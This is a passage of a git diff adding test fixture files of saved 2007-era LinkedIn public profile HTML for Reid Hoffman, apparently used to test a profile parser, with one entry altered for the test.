+</li>
+
+            </ul>
+          </div>
+          <hr />
+          <div id="education">
+            <h2>Reid Hoffman&#8217;s Education</h2>
+            <ul class="vcalendar">
+
+
+
+
+       <li class="education vevent vcard">
+    <h3 class="summary fn org">
+      
+           Oxford University
+        
+      </h3>
+               <div class="description">
+    <p>
+      <span class="degree">M.St.</span>, <span class="major">Philosophy</span>, 
+      
+          <span name="startDate"><abbr class="dtstart" title="September 1990-01-01">September 1990</abbr></span> &mdash; <span name="endDate"><abbr class="dtend" title="June 1993-12-31">June 1993</abbr></span> 
+        
+    </p>
+    
+    
+               <dl class="activities-societies">
+                       <dt>Activities and Societies:</dt>
+                       <dd>Wolfson College, Matthew Arnold Prize</dd>
+               </dl>
+    
+               </div>
+  </li>
+
+
+
+
+
+
+       <li class="education vevent vcard">
+    <h3 class="summary fn org">
+      
+           Stanford University
+        
+      </h3>
+               <div class="description">
+    <p>
+      <span class="degree">B.S.</span>, <span class="major">Symbolic Systems</span>, 
+      
+          <span name="startDate"><abbr class="dtstart" title="September 1985-01-01">September 1985</abbr></span> &mdash; <span name="endDate"><abbr class="dtend" title="June 1990-12-31">June 1990</abbr></span> 
+        
+    </p>
+    
+    
+               <dl class="activities-societies">
+                       <dt>Activities and Societies:</dt>
+                       <dd>Marshall Scholar, Dinkelspiel Award, Golden Grant, Honors, Founder of the Symbolic Systems Forum</dd>
+               </dl>
+    
+               </div>
+  </li>
+
+
+
+
+
+
+       <li class="education vevent vcard">
+    <h3 class="summary fn org">
+      
+           The Putney School
+        
+      </h3>
+               <div class="description">
+    <p>
+      <span class="degree">GED</span>, <span class="major">Highschool</span>, 
+      
+          <span name="startDate"><abbr class="dtstart" title="1982-01-01">1982</abbr></span> &mdash; <span name="endDate"><abbr class="dtend" title="1985-12-31">1985</abbr></span> 
+        
+    </p>
+    
+    
+               </div>
+  </li>
+
+
+            </ul>
+          </div>
+          <hr />
+          <div id="additional-information">
+            <h2>Additional Information</h2>
+              <h3>Reid Hoffman&#8217;s Websites:</h3>
+              <ul class="websites">
+                  <li>
+<a href="http://www.linkedin.com" rel="me" target="_blank">
+                        My Company
+                        </a>                  </li>
+                  <li>
+<a href="http://www.kiva.org/lender/reid" rel="me" target="_blank">Combat global poverty</a>                  </li>
+                  <li>
+<a href="http://www.linkedin.com/e/jsc/LinkedIn" rel="me" target="_blank">We're hiring!</a>                  </li>
+              </ul>
+              <h3>Reid Hoffman&#8217;s Interests:</h3>
+              <p class="interests">Civil society, education, public intellectuals, values, ethics, travel, environment, technology</p>
+              <h3>Reid Hoffman&#8217;s Groups:</h3>
+              <ul>
+                  <li class="affiliation vcard">               
+                               <a href="http://www.linkedin.com/groupInvitation?groupID=17&sharedKey=1F561C153148" >          <img src="/img/groups/default/default_small.gif" width="60" height="30" alt="Oxford Alumni New York member" class="logo">
+</a>&nbsp;&nbsp;            
+                    <span class="fn org">Oxford Alumni New York member</span> </li>
+                  <li class="affiliation vcard">               
+                               <a href="http://www.linkedin.com/groupInvitation?groupID=110&sharedKey=65E395798EA2" >          <img src="http://media.linkedin.com/media/p/1/000/000/004/359afe7.gif" width="60" height="30" alt="eWorldAlums member" class="logo">
+</a>&nbsp;&nbsp;            
+                    <span class="fn org">eWorldAlums member</span> </li>
+                  <li class="affiliation vcard">               
+                               <a href="http://www.linkedin.com/groupInvitation?groupID=1839&sharedKey=11E21D6C47B6" >          <img src="http://media.linkedin.com/media/p/1/000/000/009/33d7f5e.gif" width="60" height="30" alt="PayPal Alumni on LinkedIn (PALs) member" class="logo">
+</a>&nbsp;&nbsp;            
+                    <span class="fn org">PayPal Alumni on LinkedIn (PALs) member</span> </li>
+                  <li class="affiliation vcard">               
+                               <a href="http://www.linkedin.com/groupInvitation?groupID=2238&sharedKey=4E51047A3269" >          <img src="http://media.linkedin.com/media/p/1/000/000/00d/155174d.gif" width="60" height="30" alt="Weekend to be Named Later member" class="logo">
+</a>&nbsp;&nbsp;            
+                    <span class="fn org">Weekend to be Named Later member</span> </li>
+                  <li class="affiliation vcard">               
+                        <a href="/redirect?url=http%3A%2F%2Fwww%2Elinkedin%2Ecom%2Fstatic%3Fkey%3Dgroups_giving_doctors" target="_blank" title="New window will open">          <img src="http://media.linkedin.com/media/p/1/000/000/004/0d96b2c.gif" width="60" height="30" alt="Doctors Without Borders / M&#xe9;decins Sans Fronti&#xe8;res member" class="logo">
+</a>&nbsp;&nbsp;                        
+                    <span class="fn org">Doctors Without Borders / M&#xe9;decins Sans Fronti&#xe8;res member</span> </li>
+                  <li class="affiliation vcard">               
+                        <a href="/redirect?url=http%3A%2F%2Fwww%2Elinkedin%2Ecom%2Fstatic%3Fkey%3Dgroups_giving_kiva" target="_blank" title="New window will open">          <img src="http://media.linkedin.com/media/p/1/000/000/007/1f15b54.gif" width="60" height="30" alt="KIVA member" class="logo">
+</a>&nbsp;&nbsp;                        
+                    <span class="fn org">KIVA member</span> </li>
+                  <li class="affiliation vcard">               
+                               <a href="http://www.linkedin.com/groupInvitation?groupID=21059&sharedKey=0D585712F10C" >          <img src="http://media.linkedin.com/media/p/1/000/000/00f/0291a62.png" width="60" height="30" alt="Alpha member" class="logo">
+</a>&nbsp;&nbsp;            
+                    <span class="fn org">Alpha member</span> </li>
+                  <li class="affiliation vcard">               
+                               <a href="http://www.linkedin.com/groupInvitation?groupID=43473&sharedKey=6C93EB014971" >          <img src="http://media.linkedin.com/media/p/2/000/002/063/0bc82d3.gif" width="60" height="30" alt="The Association of Marshall Scholars, Inc. member" class="logo">
+</a>&nbsp;&nbsp;            
+                    <span class="fn org">The Association of Marshall Scholars, Inc. member</span> </li>
+              </ul>
+              <h3>Reid Hoffman&#8217;s Honors:</h3>
+              <p class="honors">
+                Marshall Scholarship, Dinkelspiel Award, Matthew Arnold Memorial Prize (Proxime Accessit)
+              </p>
+          </div>
+          <hr />
+      <div id="contact-settings">
+        <h2>Reid Hoffman&#8217;s Contact Settings</h2>
+        <h3>Interested In:</h3>
+        <ul>
+            <li>
+              new ventures
+            </li>
+            <li>
+              job inquiries
+            </li>
+            <li>
+              expertise requests
+            </li>
+            <li>
+              business deals
+            </li>
+            <li>
+              reference requests
+            </li>
+            <li>
+              getting back in touch
+            </li>
+        </ul>
+      </div>
+      <hr />
+      <div class="viewfull">
+        <p><a href="http://www.linkedin.com/ppl/webprofile?action=vmi&id=1213&authToken=ChBr&authType=name&trk=ppro_viewmore" class="action"><span>View Full Profile</span></a></p>
+      </div>
+  </div>
+  <div id="control" class="infobar">
+    <div class="powered">
+      <h3> Public profile powered by: <a href="http://www.linkedin.com/home?trk=ppro_pbli" ><img src="/img/logos/logo_82x23.gif" height="23" width="82" alt="LinkedIn"></a>
+      </h3>
+      <p>Create a public profile: <strong>
+        <a href="http://www.linkedin.com/ppl/webprofile?action=gwp&id=1213&authToken=ChBr&authType=name&trk=ppro_geturl" >Sign In</a>
+        </strong> or <strong>
+        <a href="https://www.linkedin.com/secure/register?trk=ppro_joinnow" >Join Now</a>
+        </strong></p>
+    </div>
+      <div class="box" id="readmore">
+        <div class="title">
+          <h3>View Reid&#8217;s full profile:</h3>
+        </div>
+        <div class="content">
+          <ul>
+            <li>See who you and <strong>Reid Hoffman</strong> know in common</li>
+            <li>Get introduced to <strong>Reid Hoffman</strong></li>
+            <li>Contact <strong>Reid Hoffman</strong> directly</li>
+          </ul>
+          <p class="btn">
+            <a href="http://www.linkedin.com/ppl/webprofile?action=vmi&id=1213&authToken=ChBr&authType=name&trk=ppro_viewmore" class="action"><span>View Full Profile</span></a>
+          </p>
+        </div>
+      </div>
+    <div class="box" id="search">
+      <div class="title">
+        <h3><strong>Name Search</strong></h3>
+      </div>
+      <div class="content">
+        <p><strong>Search for people you know</strong> from over 17 million professionals already on LinkedIn.</p>
+        <form name="searchForm" action="/pub/dir/" method="get">
+          <p class="field"><span class="lbl">
+            <label for="first">First Name</label>
+            <br />
+            </span>
+            <input type="text" name="first" id="first" />
+            &nbsp;&nbsp;<span class="lbl"><br />
+            <label for="last">Last Name</label>
+            <br />
+            </span>
+            <input type="text" name="last" id="last" />
+          </p>
+          <p class="example">
+            <input class="btn-secondary" type="submit" name="search" value="Search"/> (example: <strong>
+<a href="/pub/dir/Reid/Hoffman?trk=ppro_find_others" >Reid Hoffman</a></strong>)
+          </p>
+        </form>
+      </div>
+    </div>
+    <script type="text/javascript">
+<!--
+  if (window.addEventListener || window.attachEvent)
+  { fancyLabels.init('search'); }
+  // -->
+  </script>
+    <script type="text/javascript">var dbl_page = 'public_profile';</script>
+    <script type="text/javascript">
+        var google_ad_width = 300, google_ad_height = 250, google_ad_format = '300x250_as';
+      </script>
+      <script type="text/javascript" src="/js/google.js"></script>
+      <script type="text/javascript">
+        var dbl_extra = 'extra=null', dbl_tile = '6', dbl_sz = '300x250';
+        var dbl_profile = LIAds.getProfile().replace(/&/g,';');
+        var dbl_src = "http://ad.doubleclick.net/adj/linkedin.dart/" + dbl_page + ";" + dbl_profile + ";tile=" + dbl_tile + ";dcopt=ist;sz=" + dbl_sz + ";" + encodeURIComponent(dbl_extra) + ";ord=" + dbl_ord +"?";
+        document.write('<script src="' + dbl_src + '" type="text/javascript"><\/script>');
+      </script>
+  </div>
+</div>
+<hr />
+
+
+<div id="footer" class="guest">
+  <div id="directory">
+    <h3>People directory:</h3>
+    <ol type="a">
+      <li><a href="http://www.linkedin.com/find/a.html" >A</a></li>
+      <li><a href="http://www.linkedin.com/find/b.html" >B</a></li>
+      <li><a href="http://www.linkedin.com/find/c.html" >C</a></li>
+      <li><a href="http://www.linkedin.com/find/d.html" >D</a></li>
+      <li><a href="http://www.linkedin.com/find/e.html" >E</a></li>
+      <li><a href="http://www.linkedin.com/find/f.html" >F</a></li>
+      <li><a href="http://www.linkedin.com/find/g.html" >G</a></li>
+      <li><a href="http://www.linkedin.com/find/h.html" >H</a></li>
+      <li><a href="http://www.linkedin.com/find/i.html" >I</a></li>
+      <li><a href="http://www.linkedin.com/find/j.html" >J</a></li>
+      <li><a href="http://www.linkedin.com/find/k.html" >K</a></li>
+      <li><a href="http://www.linkedin.com/find/l.html" >L</a></li>
+      <li><a href="http://www.linkedin.com/find/m.html" >M</a></li>
+      <li><a href="http://www.linkedin.com/find/n.html" >N</a></li>
+      <li><a href="http://www.linkedin.com/find/o.html" >O</a></li>
+      <li><a href="http://www.linkedin.com/find/p.html" >P</a></li>
+      <li><a href="http://www.linkedin.com/find/q.html" >Q</a></li>
+      <li><a href="http://www.linkedin.com/find/r.html" >R</a></li>
+      <li><a href="http://www.linkedin.com/find/s.html" >S</a></li>
+      <li><a href="http://www.linkedin.com/find/t.html" >T</a></li>
+      <li><a href="http://www.linkedin.com/find/u.html" >U</a></li>
+      <li><a href="http://www.linkedin.com/find/v.html" >V</a></li>
+      <li><a href="http://www.linkedin.com/find/w.html" >W</a></li>
+      <li><a href="http://www.linkedin.com/find/x.html" >X</a></li>
+      <li><a href="http://www.linkedin.com/find/y.html" >Y</a></li>
+      <li><a href="http://www.linkedin.com/find/z.html" >Z</a></li>
+      <li type="disc"><a href="http://www.linkedin.com/find/in.html" >more</a></li>
+    </ol>
+  </div>
+
+  <ul>           
+       <li class="first"><a href="http://www.linkedin.com/static?key=company_info" >About LinkedIn</a></li>
+    <li><a href="http://www.linkedin.com/static?key=privacy_policy" >Privacy Policy</a></li>
+    <li><a href="http://www.linkedin.com/static?key=customer_service" >Help &amp; <acronym title="Frequently Asked Questions">FAQ</acronym></a></li>
+    <li><a href="http://www.linkedin.com/static?key=advertising_info" >Advertising</a></li>
+  </ul>
+  <p>Copyright &copy; 2007 LinkedIn Corporation. All rights reserved.</p>
+  <p class="terms">Use of this site is subject to express <a href="http://www.linkedin.com/static?key=user_agreement" >terms of use</a>, which prohibit commercial use of this site.<br>By continuing past this page, you agree to abide by these terms.</p>
+</div>
+
+
+</body>
+</html>
+
diff --git a/tests/nose/data/linkedin/reidhoffman_added b/tests/nose/data/linkedin/reidhoffman_added
new file mode 100644 (file)
index 0000000..47b2b0f
--- /dev/null
@@ -0,0 +1,753 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
+<head>
+  <title>LinkedIn: Reid Hoffman</title>
+  <link rel="shortcut icon" type="image/ico" href="/favicon.ico" />
+  <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
+  <meta name="description" content="Reid Hoffman's professional profile on LinkedIn. LinkedIn is a networking tool that helps users like Reid Hoffman discover inside connections to recommended job candidates, industry experts and business partners." />
+  <link rel="stylesheet" type="text/css" href="/css/public-profile/default.css" media="screen,projection,print" />
+  <link rel="stylesheet" type="text/css" href="/css/public-profile/screen.css" media="screen,projection" />
+  <link rel="stylesheet" type="text/css" href="/css/public-profile/print.css" media="print" />
+  <script type="text/javascript" src="/js/showhide.js"></script>
+  <script type="text/javascript" src="/js/public_profile.js"></script>
+  <script type="text/javascript">
+    if(typeof(i18n) == 'undefined') var i18n = {}; 
+    i18n.TEXT_PLEASE_ENTER = "Please enter a first and last name.";
+  </script>
+  <script type="text/javascript" src="/js/scripts.js"></script>
+  <script type="text/javascript" src="/js/adproxy.js"></script>
+  <script type="text/javascript">var google_keywords = null, google_ad_client = 'pub-2283433109277150', dbl_ord = Math.random() * 10000000000000000;</script>
+</head>
+<body id="www-linkedin-com" class="public-profile">
+<div class="hresume">
+    <div class="profile-header">
+      <div class="masthead vcard contact portrait">
+        <div id="nameplate">
+          <h1 id="name"><span class="fn n"><span class="given-name">Reid</span> <span class="family-name">Hoffman</span></span></h1>
+        </div>
+        <div class="content">
+          <div class="info">
+              <div class="image"><img class="photo" src="http://media.linkedin.com/mpr/mpr/shrink_80_80/p/1/000/000/038/24da1dc.jpg" alt="Reid Hoffman"/></div>
+              <p class="headline title">Entrepreneur.  General Manager.  Product Strategist.</p>
+            <div class="adr">
+              <p class="locality">
+                San Francisco Bay Area
+              </p>
+            </div>
+          </div>
+          <div class="actions">
+            <ul>
+              <li id="send-inmail">
+                <a href="http://www.linkedin.com/ppl/webprofile?action=ctu&id=1213&authToken=ChBr&authType=name&trk=ppro_cntdir" >Contact Directly</a>
+              </li>
+              <li id="get-introduced">
+                <a href="http://www.linkedin.com/ppl/webprofile?action=ctu&id=1213&authToken=ChBr&authType=name&trk=ppro_getintr" >Get introduced through a connection</a>
+              </li>
+                  <li class="website">
+ <a href="http://www.linkedin.com" class="url" rel="me" target="_blank">
+                        My Company
+                        </a>                   </li>
+                  <li class="website">
+<a href="http://www.kiva.org/lender/reid" class="url" target="_blank">Combat global poverty</a>                  </li>
+                  <li class="website">
+<a href="http://www.linkedin.com/e/jsc/LinkedIn" class="url" target="_blank">We're hiring!</a>                  </li>
+            </ul>
+          </div>
+        </div>
+      </div>
+    </div>
+  <div id="main">
+        <div id="overview">
+          <dl>
+              <dt>Current</dt>
+              <dd>
+                <ul class="current">
+                       <li>
+                         Awesome Dude at Some Other Place
+                       </li>
+                        <li>
+
+
+
+Chairman and President, Products at LinkedIn
+
+                        </li>
+                        <li>
+
+
+
+Member, Provost Council at College Eight, UCSC
+
+                        </li>
+                        <li>
+
+
+
+Member, Board of Directors at Kiva.org
+
+                        </li>
+                </ul>
+                  <div class="showhide-block" id="morecurr">
+                    <ul class="current">
+                            <li>
+
+
+
+Member, Board of Directors at Tagged
+
+                            </li>
+                            <li>
+
+
+
+Member, Board of Directors at Mozilla Corporation
+
+                            </li>
+                            <li>
+
+
+
+Member, Board of Directors at Vendio
+
+                            </li>
+                            <li>
+
+
+
+Member, Board of Directors at Grassroots
+
+                            </li>
+                            <li>
+
+
+
+Member, Board of Directors at Six Apart
+
+                            </li>
+                            <li>
+
+
+
+Member, Board of Advisors at Lulan LLC
+
+                            </li>
+                            <li>
+
+
+
+Angel Investor at Aufklarung LLC
+
+                            </li>
+                    </ul>
+                    <p class="seeall showhide-link"><a href="#" id="morecurr-hide">see less...</a></p>
+                  </div>
+                      <p class="seeall showhide-link"><a href="#" id="morecurr-show">7 more...</a></p>
+              </dd>
+              <dt>Education</dt>
+              <dd>
+                <ul>
+                      <li>
+                        
+           Oxford University
+      
+                      </li>
+                      <li>
+                        
+           Stanford University
+      
+                      </li>
+                      <li>
+                        
+           The Putney School
+      
+                      </li>
+                </ul>
+                  <div class="showhide-block" id="moreedu">
+                    <ul>
+                    </ul>
+                    <p class="seeall showhide-link"><a href="#" id="moreedu-hide">see less...</a></p>
+                  </div>
+              </dd>
+              <dt class="recommended">Recommended</dt>
+              <dd class="recommended">
+<img src="/img/icon/endorse/icon_endorse_3_35x24.gif" width="35" height="24" alt="Reid has 49 recommendations" title="Reid has 49 recommendations" />                <strong class="recommendation-count r3">49</strong> people have recommended Reid </dd>
+              <dt class="connections">Connections</dt>
+              <dd class="connections">
+                <img src="/img/icon/conx/icon_conx_16_24x24.gif" width="24" height="24" alt="" />
+                <strong class="connection-count">
+                500+
+                </strong> connections
+              </dd>
+            <dt>Industry</dt>
+            <dd>
+              Internet
+            </dd>
+              <dt>Websites</dt>
+              <dd>
+                <ul>
+                    <li>
+<a href="http://www.linkedin.com" class="url" rel="me" target="_blank">
+                          My Company
+                          </a>                     </li>
+                    <li>
+<a href="http://www.kiva.org/lender/reid" class="url" rel="me" target="_blank">Combat global poverty</a>                    </li>
+                    <li>
+<a href="http://www.linkedin.com/e/jsc/LinkedIn" class="url" rel="me" target="_blank">We're hiring!</a>                    </li>
+                </ul>
+              </dd>
+          </dl>
+        </div>
+        <hr />
+        <script type="text/javascript">
+<!--
+  if (window.addEventListener || window.attachEvent)
+  { showHide.init(); }
+  // -->
+  </script>
+          <div id="summary">
+            <h2>Reid Hoffman&#8217;s Summary</h2>
+              <p class="summary">
+                All aspects of consumer internet and software.  Focus is on finance, business strategy, and development, but includes product management, operations, business operations, business development, and marketing.  Focus is on seed-stage technology companies, but have also helped profitable companies grow.
+              </p>
+              <h3>Reid Hoffman&#8217;s Specialties:</h3>
+              <p class="skills">
+                General management, product development, business models, strategy, negotiation, financing, deal structure,  international, marketing, brand development, brand management, business development, public relations, press strategy, payments infrastructure, financial services, mergers and acquisitions, start-ups, software development, operations centers.
+              </p>
+          </div>
+          <hr />
+          <div id="experience">
+            <h2>Reid Hoffman&#8217;s Experience</h2>
+            <ul class="vcalendar">
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Chairman and President, Products</h3>
+      <h4 class="org summary">LinkedIn</h4>
+    
+  <p class="organization-details">(Privately Held; 201-500 employees; Internet industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2007-02-01">February 2007</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P1Y1M">(1 year 1 month)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">LinkedIn powers your professional life by enabling you to: \r<br>
+\r<br>
+-Control your professional profile online (on LinkedIn and in search engines like Google)\r<br>
+\r<br>
+-Tap into your trusted network for opportunities, referrals, and answers to critical business questions\r<br>
+\r<br>
+-Search for the right professionals (experts, hires, references, consultants, service providers)\r<br>
+\r<br>
+LinkedIn’s primary customer will always be each individual professional.   LinkedIn also provides services for companies, professional associations, alumni associations, non-profits, and conferences.  \r<br>
+\r<br>
+My role is product and business strategy, evangelizing the utility to every professional.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Provost Council</h3>
+      <h4 class="org summary">College Eight, UCSC</h4>
+    
+  <p class="organization-details">(Educational Institution; 1001-5000 employees; Higher Education industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2006-07-01">July 2006</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P1Y8M">(1 year 8 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">College Eight is a residential educational college part of UCSC.  The focus is environmental citizenship, ranging from topics of enviromental civics and justice to environmental enterpreneurship.  The new educational goal is to achieve academic excellence through current research and teaching, and also through connections with business and government.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Directors</h3>
+      <h4 class="org summary">Kiva.org</h4>
+    
+  <p class="organization-details">(Non-Profit; 1-10 employees; Internet industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2006-06-01">June 2006</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P1Y9M">(1 year 9 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Kiva provides an entrepreneur's marketplace for social micro-lending.  The entrepreneurs are pre-vetted by micro-finance organizations.  They are then listed on Kiva's web marketplace, and interested and motivated lenders can lend money for the creation of businesses.  It is the paradigm case of teaching to fish rather than giving fish.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Directors</h3>
+      <h4 class="org summary">Tagged</h4>
+    
+  <p class="organization-details">(Privately Held; 11-50 employees; Internet industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2005-12-01">December 2005</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P2Y3M">(2 years 3 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">The teen social network for teens.  It's a place on the web only for teens - hip, interesting, and cool.  Within a short time, it has millions of teens; and the most interesting parts are still to arrive.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Directors</h3>
+      <h4 class="org summary">Mozilla Corporation</h4>
+    
+  <p class="organization-details">(Privately Held; 11-50 employees; Internet industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2005-08-01">August 2005</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P2Y7M">(2 years 7 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Evangelists and champions of the free and open web-platform, Firefox.  Firefox allows consumers the experience they want, all software and internet companies to build extensions, and open-source developers to contribute freely and democratically.  Firefox works to keep a free, open web -- both through its own platform and by inspiring other browsers to create open apis and platforms with great consumer experiences.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Directors</h3>
+      <h4 class="org summary">Vendio</h4>
+    
+  <p class="organization-details">(Privately Held; 11-50 employees; Internet industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2003-06-01">June 2003</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P4Y9M">(4 years 9 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Vendio provides best of breed, easy-to-use services for small businesses on eBay and on the Internet.  Vendio also provides a great price-checking and comparing toolbar so that you never overpay on the internet again: www.dealio.com.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Directors</h3>
+      <h4 class="org summary">Grassroots</h4>
+    
+  <p class="organization-details">(Privately Held; 11-50 employees; Computer Software industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2003-06-01">June 2003</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P4Y9M">(4 years 9 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Best IT infrastructure and enablement for grassroots campaigns for corporations.  Grassroots campaigns are extremely important for the modern corporation, as regulation, political competition, and risk mitigation are essential.  The best way to solve these problems: utilize your corporation's constintuency as a political force.  And corporations do have constituencies -- employees, shareholders, customers, partners, vendors, and others.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Directors</h3>
+      <h4 class="org summary">Six Apart</h4>
+    
+  <p class="organization-details">(Privately Held; 51-200 employees; Internet industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2003-04-01">April 2003</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P4Y11M">(4 years 11 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">SixApart produces the best publishing platforms on the web for self-expression through words, pictures, and other media.  For self-hosting and business, it produces the leading blogging software MoveableType.  For hosted web publishing with great looks and effective tools, SixApart has the best blogging service TypePad.  And for younger web communities, it has LiveJournal.  Recently, SixApart has launched Vox which allows great sharing within your own private community -- your family, your friends, and your neighborhood as you want it.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Advisors</h3>
+      <h4 class="org summary">Lulan LLC</h4>
+    
+  <p class="organization-details">(Privately Held; 1-10 employees; Textiles industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2003-01-01">January 2003</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P5Y2M">(5 years 2 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Lulan imports top-quality textiles from socially great women's collectives in Asia to the U.S. market, transformed into the best products.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Angel Investor</h3>
+      <h4 class="org summary">Aufklarung LLC</h4>
+    
+  <p class="organization-details">(Privately Held; Myself Only; Internet industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2001-09-01">September 2001</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P6Y6M">(6 years 6 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Helped finance over 60 companies, 25+ from initial conception.  Angel investor in www.facebook.com, www.digg.com, www.bioscale.com, www.nanosolar.com, www.lulan.com, www.taxipass.com, www.naseeb.com, www.technorati.com, www.grassroots.com, www.friendster.com, www.socialtext.com, www.realtravel.com, www.rhythmnetworks.com, www.ravenflow.com, www.targetedgrowth.com, www.wink.com, www.wikia.com, www.adventsolar.com, www.bioscale.com, www.ning.com, www.tagged.com, www.tinypictures.us, www.etology.com, www.winster.com, www.rupture.com, www.jaxtr.com, www.kongregate.com, www.powerset.com, www.care.com, www.funnyordie.com, www.ironport.com, www.flixster.com, www.care.com,  www.flickr.com, www.last.fm, www.grockit.com and www.sixapart.com.</p>
+  
+</li>
+
+            </ul>
+          </div>
+          <hr />
+          <div id="education">
+            <h2>Reid Hoffman&#8217;s Education</h2>
+            <ul class="vcalendar">
+
+
+
+
+       <li class="education vevent vcard">
+    <h3 class="summary fn org">
+      
+           Oxford University
+        
+      </h3>
+               <div class="description">
+    <p>
+      <span class="degree">M.St.</span>, <span class="major">Philosophy</span>, 
+      
+          <span name="startDate"><abbr class="dtstart" title="September 1990-01-01">September 1990</abbr></span> &mdash; <span name="endDate"><abbr class="dtend" title="June 1993-12-31">June 1993</abbr></span> 
+        
+    </p>
+    
+    
+               <dl class="activities-societies">
+                       <dt>Activities and Societies:</dt>
+                       <dd>Wolfson College, Matthew Arnold Prize</dd>
+               </dl>
+    
+               </div>
+  </li>
+
+
+
+
+
+
+       <li class="education vevent vcard">
+    <h3 class="summary fn org">
+      
+           Stanford University
+        
+      </h3>
+               <div class="description">
+    <p>
+      <span class="degree">B.S.</span>, <span class="major">Symbolic Systems</span>, 
+      
+          <span name="startDate"><abbr class="dtstart" title="September 1985-01-01">September 1985</abbr></span> &mdash; <span name="endDate"><abbr class="dtend" title="June 1990-12-31">June 1990</abbr></span> 
+        
+    </p>
+    
+    
+               <dl class="activities-societies">
+                       <dt>Activities and Societies:</dt>
+                       <dd>Marshall Scholar, Dinkelspiel Award, Golden Grant, Honors, Founder of the Symbolic Systems Forum</dd>
+               </dl>
+    
+               </div>
+  </li>
+
+
+
+
+
+
+       <li class="education vevent vcard">
+    <h3 class="summary fn org">
+      
+           The Putney School
+        
+      </h3>
+               <div class="description">
+    <p>
+      <span class="degree">GED</span>, <span class="major">Highschool</span>, 
+      
+          <span name="startDate"><abbr class="dtstart" title="1982-01-01">1982</abbr></span> &mdash; <span name="endDate"><abbr class="dtend" title="1985-12-31">1985</abbr></span> 
+        
+    </p>
+    
+    
+               </div>
+  </li>
+
+
+            </ul>
+          </div>
+          <hr />
+          <div id="additional-information">
+            <h2>Additional Information</h2>
+              <h3>Reid Hoffman&#8217;s Websites:</h3>
+              <ul class="websites">
+                  <li>
+<a href="http://www.linkedin.com" rel="me" target="_blank">
+                        My Company
+                        </a>                  </li>
+                  <li>
+<a href="http://www.kiva.org/lender/reid" rel="me" target="_blank">Combat global poverty</a>                  </li>
+                  <li>
+<a href="http://www.linkedin.com/e/jsc/LinkedIn" rel="me" target="_blank">We're hiring!</a>                  </li>
+              </ul>
+              <h3>Reid Hoffman&#8217;s Interests:</h3>
+              <p class="interests">Civil society, education, public intellectuals, values, ethics, travel, environment, technology</p>
+              <h3>Reid Hoffman&#8217;s Groups:</h3>
+              <ul>
+                  <li class="affiliation vcard">               
+                               <a href="http://www.linkedin.com/groupInvitation?groupID=17&sharedKey=1F561C153148" >          <img src="/img/groups/default/default_small.gif" width="60" height="30" alt="Oxford Alumni New York member" class="logo">
+</a>&nbsp;&nbsp;            
+                    <span class="fn org">Oxford Alumni New York member</span> </li>
+                  <li class="affiliation vcard">               
